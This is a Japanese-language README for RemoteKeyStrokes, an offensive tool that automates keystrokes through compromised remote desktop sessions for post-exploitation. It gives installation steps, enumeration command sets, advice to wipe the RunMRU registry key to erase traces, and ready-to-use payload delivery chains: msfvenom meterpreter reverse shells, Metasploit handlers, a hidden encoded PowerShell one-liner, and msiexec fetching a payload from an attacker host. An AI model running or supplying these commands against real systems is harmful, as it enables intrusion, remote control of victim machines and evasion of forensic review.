
グラフィカルデスクトッププログラムを介してキーストロークを自動化するスクリプト。
アクティブなリモートデスクトップセッションを介してキーストロークを自動化するスクリプトで、オフェンシブオペレーターが living off the land テクニックと組み合わせて使用するのに役立ちます。すべての功績は nopernik にあり、これが可能になったことで、私はそれを改善することにしました。リモートデスクトップを介してコマンドを実行する際のポストエクスプロイテーションフェーズで役立つものが欲しかったのです。また、 SCPA プロジェクトを作成してリソースを整理された方法で収集するのにも役立ちました。
残りの依存関係は、ご利用のパッケージマネージャーに従ってインストールしてください。``` $ sudo apt install -y xfreerdp-x11 remmina xdotool
$ sudo dnf install -y xdotool freerdp-2 remmina
$ sudo pacman -S freerdp remmina xdotool
$ sudo emerge xwayland freerdp remmina xdotool
$ sudo nix-env -iA nixpkgs.xwayland nixpkgs.xdotool nixpkgs.freerdp nixpkgs.remmina
### セットアップ
システムにプログラムをインストールし、`remotekeystrokes` のシンボリックリンクとして `rks` を作成します。これはコマンドエイリアスとして使用されます。```
$ sudo wget -O /usr/local/src/remotekeystrokes.sh https://raw.githubusercontent.com/U53RW4R3/RemoteKeyStrokes/main/remotekeystrokes.sh && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/rks && \
sudo chmod 755 /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes /usr/local/bin/rks
$ remotekeystrokes -h Usage: remotekeystrokes
Flags:
COMMON OPTIONS: -c, --command <command | file> Specify a command or a file contains commands to execute
-p, --platform <operating_system> Specify the operating system ("windows" is
set by default if not specified)
-w, --windowname <window_name> Specify the window name to focus on the
active window ("freerdp" is set by default
if not specified)
-h, --help Display this help message
UPLOAD FILES: -i, --input <input_file> Specify the local input file to transfer -o, --output <output_file> Specify the remote output file to transfer
METHODS: -m, --method Specify a method. For command execution method "none" is set by default if not specified. For file transfer "pwshb64" is set by default if not specified. Other available methods are: "elevate", "persistence", "antiforensics", and "mayhem"
-s, --submethod <submethod> Specify a submethod from a method (applies
with -m flag)
-a, --action <action> Specify an action from a method and/or
submethod (applies with -m and/or -s flag)
-e, --evasion <evasion> Specify an evasion method for uploading files
(only works for "pwshb64")
## 使用法
### 0x00 - リモート認証
#### 凡例
- ドル記号(`$`)は、通常のユーザー権限を持つUnixシェルプロンプトを示し、コマンドを含みます。
- 山括弧(`<>`)は必須パラメータを意味します。
- 大括弧(`[]`)は、指定が必須でない場合のオプションパラメータを意味します。
#### RDP
最新のオペレーティングシステムを認証するには、TLSとしての認証を強制するフラグ `/sec:tls` またはNLAとしての認証を強制するフラグ `/sec:nla` のいずれかを指定します。```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>]
レガシーオペレーティングシステムを認証するには、フラグ /sec:rdp を指定して古い認証を強制します。```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:"<domain_name>"] /u:"" /p:"" /v::[]
#### VNC
VNCマシンにリモートで認証するため。```
$ remmina -c vnc://<username>:<password>@<IP>
$ ssh [-p ] @
#### Telnet```
$ telnet <IP> [PORT]
認証済みリモートセッションで Windows ターゲット上でコマンドを実行する際に remotekeystrokes(またはエイリアスコマンド rks)を使用するには、実行前にウィンドウ名(-w)で移動する必要があります。デフォルトでは xfreerdp 使用時に FreeRDP を検索します。異なるリモートログインプログラムを使用するシステムを対象とする場合は、必ずウィンドウ名を指定してください。コマンドを発行するには -c フラグを指定します。また、コマンドを記述したテキストファイルを用意すれば、それらを1つずつ読み込みます。このフラグは文字列かファイルかを確認します。
FreeRDP、Remmina、その他のサードパーティプログラムなどのグラフィカルリモートデスクトッププログラムの場合、telnet や ssh のようなリモートターミナルセッションとは異なり、ターゲットマシン内のアクティブなアプリケーションにカーソルを移動する必要があります。例えば、Windows 環境ではコマンドプロンプト(cmd.exe)または PowerShell(powershell.exe)を開く必要があります。Windows ではダイアログボックス(-m dialogbox)を使用してプログラムをすばやく起動することも可能です。最初にこの方法で実行した際は、レジストリエントリから痕跡を消去するようにしてください。その場所は HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU です。Living off the Land(LotL)テクニックだけで迅速な攻撃的措置を実行する方法の例を参照できます。
ローカルマシンの列挙。``` $ cat recon_local_enum_cmds.txt whoami /all net user net localgroup Administrators ipconfig /all systeminfo
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_local_enum_cmds.txt [*] Executing commands... [+] Task completed!
単一のコマンドで実行する。これは特にダイアログボックスを使用する場合に簡潔です。```
$ rks -c "cmd.exe /k \"whoami /all & net user & net localgroup Administrators & ipconfig /all & systeminfo\"" -m dialogbox
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
Active directory 列挙.``` $ cat recon_ad_enum_cmds.txt net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_ad_enum_cmds.txt [*] Executing commands... [+] Task completed!
単一のコマンドで実行するため。これは特にダイアログボックスを使用する場合に簡潔です。```
$ rks -c "cmd.exe /k \"net user /domain & net group \"Domain Admins\" /domain & net group \"Enterprise Admins\" /domain & net group \"Domain Computers\" /domain\""
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
ローカルマシンの列挙 (TODO)``` $ cat recon_local_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_local_enum_cmdlets.txt
Active directory 列挙 (TODO)```
$ cat recon_ad_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_ad_enum_cmdlets.txt
PowerShellの内容を読み取りながら、ペイロードを実行します。``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f psh -o payload.ps1
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"
$ rks -c "powershell.exe" -m dialogbox
$ rks -c payload.ps1
`metasploit-framework`のエクスプロイトモジュール`exploit/multi/script/web_delivery`を使用して、PowerShellのワンライナーペイロードを実行します。```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "cmd.exe" -m dialogbox
$ rks -c "powershell.exe -nop -w hidden -e <base64_payload>"
ウェブサーバーをホストしながら、msiexec.exe でペイロードを実行します。```
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f msi -o payload.msi
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"
$ sudo python -m http.server 80
$ rks -c "msiexec /quiet /qn /i http://<attacker_IP>/payload.msi" -m dialogbox
ペイロードを `mshta.exe` で実行し、`metasploit-framework` のエクスプロイトモジュール `exploit/windows/misc/hta_server` を使用します。```
$ sudo msfconsole -qx "use exploit/windows/misc/hta_server; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvhost <server_IP>; set srvport <server_PORT> run"